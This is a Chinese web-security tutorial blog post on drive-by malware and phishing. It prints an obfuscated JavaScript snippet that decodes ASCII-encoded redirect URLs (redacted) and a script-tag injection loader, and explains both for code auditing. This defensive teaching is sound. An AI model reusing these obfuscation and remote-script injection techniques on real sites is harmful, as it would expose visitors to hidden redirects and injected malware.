当前位置: 首页 > news >正文

渗透测试之Web安全系列教程(二)

今天,我们来讲一下Web安全!

本文章仅提供学习,切勿将其用于不法手段!

目前,在渗透测试领域,主要分为了两个发展方向,分别为Web攻防领域和PWN(二进制安全)攻防领域。Web 攻防领域,涉及到一些知识点,本系列教程,就来科普一下这些知识点。

接上一篇文章《渗透测试之Web安全系列教程(一)》,我们来继续渗透讨论一下Web安全!

在上一篇文章中,我们提到过同源策略、XSS注入漏洞、网页挂马等相关安全内容!

我们重点强调了学习渗透测试知识目的

我们了解攻击技术原理,是为了使渗透测试行为变得更加有效!是为了能够更好的进行信息安全防御,绝不是为了去进行违法犯罪行为!

现在,我们来继续讲一下来自网页内容威胁的两个方向(网页挂马、网页钓鱼)!

网页挂马,是指在正规合法网站的网页内容中嵌入恶意脚本内容,去实施木马攻击行为!

网页钓鱼,是指仿冒伪装成正规合法网站的网页内容,去实施网页诈骗行为!

无论是网页挂马,还是网页钓鱼,危害都是非常巨大的!

如何避免在浏览器中进行网络冲浪时,遭受网页挂马和网页钓鱼攻击呢?

很多浏览器,都带有 恶意网址拦截 功能!这类功能的技术实现,通常是基于 黑名单机制 的!

通过浏览器的恶意网址拦截功能,我们可以避免很多针对恶意网址的网络访问行为。

但是,由于浏览器恶意网址拦截功能,是基于 黑名单机制 的!也就意味着,未被记录进 黑名单 中的 恶意网址,可能无法被 浏览器 成功拦截!

Google 公司,对外开放了 SafeBrowsing API,用以及时公布最新的恶意网址名单信息。

除了 浏览器 自带的 恶意网址拦截 黑名单机制,还有一项保障浏览器用户的网络访问行为安全的相关技术,那就是 EV SSL 证书技术!对于危险网址EV SSL 证书技术 将会显示为 红色 ,对于安全网址,EV SSL 证书技术 将会显示为 绿色

接下来,让我们观察一篇恶意代码中的部分内容,分析一下,它是如何躲避浏览器的恶意代码检测的!

this.globalThis || (this.globalThis = this);

        function decodeStr(e) {
            var d, c, b;
            if (!e) {
                return ""
            }
            for (d = e[0],
                     c = e.split(d),
                     b = 0; b < c.length; b++) {
                c[b] && (c[b] = String.fromCharCode(c[b]))
            }
            return c.join("")
        }

window.android_url =  decodeStr( '|104|116|116|112|115|58|47|47|*|119|101|*|117|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*' );


window.ios_url  = decodeStr( '|104|116|116|112|115|58|47|47|*|112|112|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*' );

通过观察上面的恶意代码,我们可以获知,当前恶意代码使用了数据加密技术

上面的恶意代码,采用了代码混淆机制

注意,为了避免大家去误操作性地去访问恶意网址,相关代码内容已进行了数据脱敏处理!

上面的恶意代码,通过使用自定义的 decodeStr 函数来实现加密数据还原操作

想要了解上面的恶意代码做了些什么,我们就必须了解上面的代码内容含义是什么!

通过观察,我们获知,加密数据,是以数字形式存储的,那么,我们不禁想到了 ASCII 编码!

ascii 码 104 对应的字符是 h 。

ascii 码 116 对应的字符是 t 。

ascii 码 112 对应的字符是 p 。

ascii 码 115 对应的字符是 s 。

ascii 码 47 对应的字符是 / 。

通过上述的观察,我们可知,代码混淆 使用的是 ASCII编码序列技术!

现在,让我们来科普一下 globalThis 的作用和价值是什么!

全局属性 globalThis 包含全局对象 this 的 值,你可以理解为,类似于全局对象(global object)!

说到 全局对象,让我们来复习一下 C语言编程 中的 全局变量 概念!

是的,没错!全局变量的作用域,是全局的!

全局对象的作用域,也是全局的!

globalThis ,提供了一种抽象化的、以标准化方式去获取不同环境中的全局 this 对象(也就是全局对象自身)的途径。区别于 window 或者 self 这些浏览器对象属性,globalThis 可以在有窗口,或者无窗口的各类型环境中正常使用。你可以较为放心地使用 globalThis,globalThis 实现了运行环境无关化。您仅须记住:全局作用域环境中的 this 对象,即是 globalThis !

我们再来观察看看下面的恶意代码内容:

(function() {
  var hm = document.createElement("script");
  hm.src = "跨域JS脚本的URL地址";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();

上面的代码内容,作用是什么?

是动态创建并添加一个 script 标签,并去解析标签中的内容!

恶意脚本,就是如此规避检测的!恶意脚本,就是如此悄悄的潜入你的浏览器,并去执行恶意代码的!

想要防御来自互联网世界的恶意攻击,我们就必须做到:了解对方是如何地去实施攻击的!

在进行代码审计工作时,在进行渗透测试行为时,当我们发现某个网页文件的内容中包含有类似上述代码内容,那么通常意味着,这个网页文件的内容,是可疑的!这个网页文件的内容安全性,是需要进行深入鉴定的!

相关文章:

渗透测试之Web安全系列教程(二)

今天&#xff0c;我们来讲一下Web安全&#xff01; 本文章仅提供学习&#xff0c;切勿将其用于不法手段&#xff01; 目前&#xff0c;在渗透测试领域&#xff0c;主要分为了两个发展方向&#xff0c;分别为Web攻防领域和PWN&#xff08;二进制安全&#xff09;攻防领域。Web…...

【算法】在?复习一下快速排序?

基本概念 快速排序是一种基于交换的排序算法&#xff0c;该算法利用了分治的思想。 整个算法分为若干轮次进行。在当前轮次中&#xff0c;对于选定的数组范围[left, right]&#xff0c;首先选取一个标志元素pivot&#xff0c;将所有小于pivot的元素移至其左侧&#xff0c;大于…...

matlab安装及破解

一、如何下载 软件下载链接&#xff0c;密码&#xff1a;98ai 本来我想自己生成一个永久百度网盘链接的&#xff0c;但是&#xff1a; 等不住了&#xff0c;所以大家就用上面的链接吧。 二、下载花絮 百度网盘下载速度比上载速度还慢&#xff0c;我给充了个会员&#xff0c…...

Tree——输出项目的文件结构(Linux)

输出项目中的文件结构可以使用tree命令。tree是一个用于以树状结构显示目录内容的命令行工具。它非常适合快速查看项目的文件结构。安装&#xff1a; sudo apt-get install tree 使用&#xff1a; 在命令行中导航到项目的根目录&#xff0c;输出文件结构。 tree 也可以将结构输…...

UE5 读取本地图片并转换为base64字符串

调试网址&#xff1a;在线图像转Base64 - 码工具 (matools.com) 注意要加&#xff08;data:image/png;base64,&#xff09; FString UBasicFuncLib::LoadImageToBase64(const FString& ImagePath) {TArray<uint8> ImageData;// Step 1: 读取图片文件到字节数组if (!…...

【NOIP普及组】税收与补贴问题

【NOIP普及组】税收与补贴问题 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 每样商品的价格越低&#xff0c;其销量就会相应增大。现已知某种商品的成本及其在若干价位上的销量&#xff08;产品不会低于成本销售&#xff09;&#xff0c;…...

Docker 部署 mysql 服务

linux用法 Container&#xff08;容器&#xff09;集合成 Services&#xff08;服务&#xff09; 交互集合成 Stack&#xff08;堆栈&#xff09;卸载可能存在的旧版本 sudo apt-get update使apt可以通过HTTPS使用存储库&#xff08;repository&#xff09; sudo apt-get ins…...

01- Redis 中的 String 数据类型和应用场景

1. 介绍 String 是最基本的 key-value 结构&#xff0c;key 是唯一标识&#xff0c;value 是具体的值&#xff0c;value 其实不仅是字符串&#xff0c;也可以是数字&#xff08;整数或浮点数&#xff09;&#xff0c;value 最多可以容纳的数据长度是 512M。 2. 内部实现 Str…...

Android音频焦点

什么是音频焦点&#xff1f; 音频焦点是 API 8 中引入的一个概念。它用于传达这样一个事实&#xff1a;用户一次只能专注于一个音频流&#xff0c;例如收听音乐或播客&#xff0c;但不能同时关注两者。在某些情况下&#xff0c;多个音频流可以同时播放&#xff0c;但只有一个是…...

Docker安全配置

Docker安全及日志管理 文章目录 Docker安全及日志管理资源列表基础环境一、Docker安全相关介绍1.1、Docker容器与虚拟机的区别1.1.1、隔离与共享1.1.2、性能与损耗 1.2、Docker存在的安全问题1.2.1、Docker自身漏洞1.2.2、Docker源码问题 1.3、Docker架构缺陷与安全机制1.3.1、…...

文件上传之使用一个属性接收多个文件

在开发过程中&#xff0c;可能遇到这样的业务&#xff1a;文件上传时个数不定&#xff0c;这样我们不能枚举出所有的文件name&#xff0c;这种情况下我们可以使用一个name将所有的文件接收下来&#xff1b; html代码 <!DOCTYPE html> <html lang"en"> …...

chat4-Server端保存聊天消息到mysql

本文档描述了Server端接收到Client的消息并转发给所有客户端或私发给某个客户端 同时将聊天消息保存到mysql 服务端为当前客户端创建一个线程&#xff0c;此线程接收当前客户端的消息并转发给所有客户端或私发给某个客户端同时将聊天消息保存到mysql 本文档主要总结了将聊天…...

vivo鄢楠:基于OceanBase 的降本增效实践

在3 月 20 日的2024 OceanBase 数据库城市行中&#xff0c;vivo的 体系与流程 IT 部 DBA 组总监鄢楠就“vivo 基于 OceanBase 的降本增效实践”进行了主题演讲。本文为该演讲的精彩回顾。 vivo 在1995年于中国东莞成立&#xff0c;作为一家全球领先的移动互联网智能终端公司&am…...

arm cortex-m架构 SVC指令详解以及其在freertos的应用

1. 前置知识 本文基于arm cortex-m架构描述&#xff0c; 关于arm cortex-m的一些基础知识可以参考我另外几篇文章&#xff1a; arm cortex-m 架构简述arm异常处理分析c语言函数调用规范-基于arm 分析 2 SVC指令 2.1 SVC指令位域表示 bit15 - bit12&#xff1a;条件码&#…...

k8s笔记——kubernetes中的三种IP

kubernetes概念 Master&#xff1a;集群控制节点&#xff0c;每个集群需要至少一个master节点负责集群的管控 Node&#xff1a;工作负载节点&#xff0c;由master分配容器到这些node工作节点上&#xff0c;然后node节点上的docker负责容器的运行 Pod&#xff1a;kubernetes的…...

Golang | Leetcode Golang题解之第127题单词接龙

题目&#xff1a; 题解&#xff1a; func ladderLength(beginWord string, endWord string, wordList []string) int {wordId : map[string]int{}graph : [][]int{}addWord : func(word string) int {id, has : wordId[word]if !has {id len(wordId)wordId[word] idgraph a…...

微服务中feign远程调用相关的各种超时问题

1. 引言 在spring cloud微服中&#xff0c;feign远程调用可能是大家每天都接触到东西&#xff0c;但很多同学却没咋搞清楚这里边的各种超时问题&#xff0c;生产环境可能会蹦出各种奇怪的问题。 首先说下结论&#xff1a; 1)只使用feign组件&#xff0c;不使用ribbion组件&…...

springboot整合chatgpt,并且让其可以记录上下文

整合很简单&#xff0c;不过需要几个小条件 1.必须要有openai官方的key 2.国内需要有代理服务器或者国外的服务器把项目部署出去也没问题 我没有使用spring的springAI&#xff0c;听说很方便&#xff0c;日后有机会去体验体验&#xff0c;我今天用了两种方式整合了gpt 1.Ch…...

CTP前端:解码数字世界的魔法师

CTP前端&#xff1a;解码数字世界的魔法师 CTP前端&#xff0c;一个充满神秘与魅力的职业&#xff0c;他们在数字世界中挥舞着魔法棒&#xff0c;创造着令人惊叹的奇迹。那么&#xff0c;CTP前端究竟是做什么的呢&#xff1f;让我们从四个方面、五个方面、六个方面和七个方面&…...

rabbitmq的交换机类型以及他们的区别

RabbitMQ中有四种主要的交换机类型&#xff0c;它们是&#xff1a;Direct&#xff0c;Topic&#xff0c;Fanout&#xff0c;Headers。 Direct&#xff08;直连交换机&#xff09;&#xff1a;接收到消息后&#xff0c;会将消息发送到与消息的routing key完全匹配的队列上。Dire…...

理解不同层的表示(layer representations)

在机器学习和深度学习领域&#xff0c;特别是在处理音频和自然语言处理&#xff08;NLP&#xff09;任务时&#xff0c;"层的表示"&#xff08;layer representations&#xff09;通常是指神经网络不同层在处理输入数据时生成的特征或嵌入。这些表示捕获了输入数据的…...

原生js访问http获取数据的方法

在原生JavaScript中&#xff0c;直接通过浏览器端的JavaScript访问HTTP接口获取数据通常涉及XMLHttpRequest对象或现代的fetch API。 1. 使用XMLHttpRequest XMLHttpRequest是一个老旧的API&#xff0c;但在某些情况下仍然很有用。以下是一个简单的例子&#xff1a; javascr…...

Windows 2000 Server:安全配置终极指南

"远古技术&#xff0c;仅供娱乐" &#x1f4ad; 前言&#xff1a;Windows 2000 服务器在当时的市场中占据了很大的比例&#xff0c;主要原因包括操作简单和易于管理&#xff0c;但也经常因为安全性问题受到谴责&#xff0c;Windows 2000 的安全性真的那么差吗&#x…...

基于 FastAI 文本迁移学习的情感分类(93%+Accuracy)

前言 系列专栏:【深度学习:算法项目实战】✨︎ 涉及医疗健康、财经金融、商业零售、食品饮料、运动健身、交通运输、环境科学、社交媒体以及文本和图像处理等诸多领域,讨论了各种复杂的深度神经网络思想,如卷积神经网络、循环神经网络、生成对抗网络、门控循环单元、长短期记…...

集成Google Authenticator实现多因素认证(MFA)

目录 参考1、应用背景2、多因素认证3、谷歌google authenticator集成用法3.1、原理3.2、 MFA绑定3.2.1、 用户输入用户名密码登录3.2.2、检查是否已经绑定MFA&#xff08;检查数据库是否保存该用户的google secret&#xff09;3.2.3、谷歌身份证认证器扫描绑定3.2.4、手动测试验…...

网关(Gateway)- 自定义过滤器工厂

自定义过滤工厂类 DemoGatewayFilterFactory package com.learning.springcloud.custom;import org.apache.commons.lang.StringUtils; import org.springframework.cloud.gateway.filter.GatewayFilter; import org.springframework.cloud.gateway.filter.GatewayFilterChai…...

HTML静态网页成品作业(HTML+CSS)—— 香奈儿香水介绍网页(1个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有1个页面。 二、作品演示 三、代…...

C++11 lambda表达式和包装器

C11 lambda表达式和包装器 一.lambda表达式1.lambda表达式的引入2.基本语法和使用1.基本语法2.使用1.传值捕捉的错误之处2.传引用捕捉 3.lambda表达式的底层原理4.lambda的特殊之处5.lambda配合decltype的新玩法 二.function包装器1.概念2.包装函数1.包装普通函数2.包装成员函数…...

3. MySQL 数据表的基本操作

文章目录 【 1. MySQL 创建数据表 】【 2. MySQL 查看表 】2.1 查看表的属性DESCRIBE/DESC 以表格的形式展示表属性SHOW CREATE TABLE 以SQL语句的形式展示表属性 2.2 查看表的内容 【 3. MySQL 修改数据表结构 】3.1 修改表名3.2 修改表字符集3.3 添加字段在末尾添加字段在开头…...

Linux命令篇(一):文件管理部分

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; 文章目录 1、cat命令常用参…...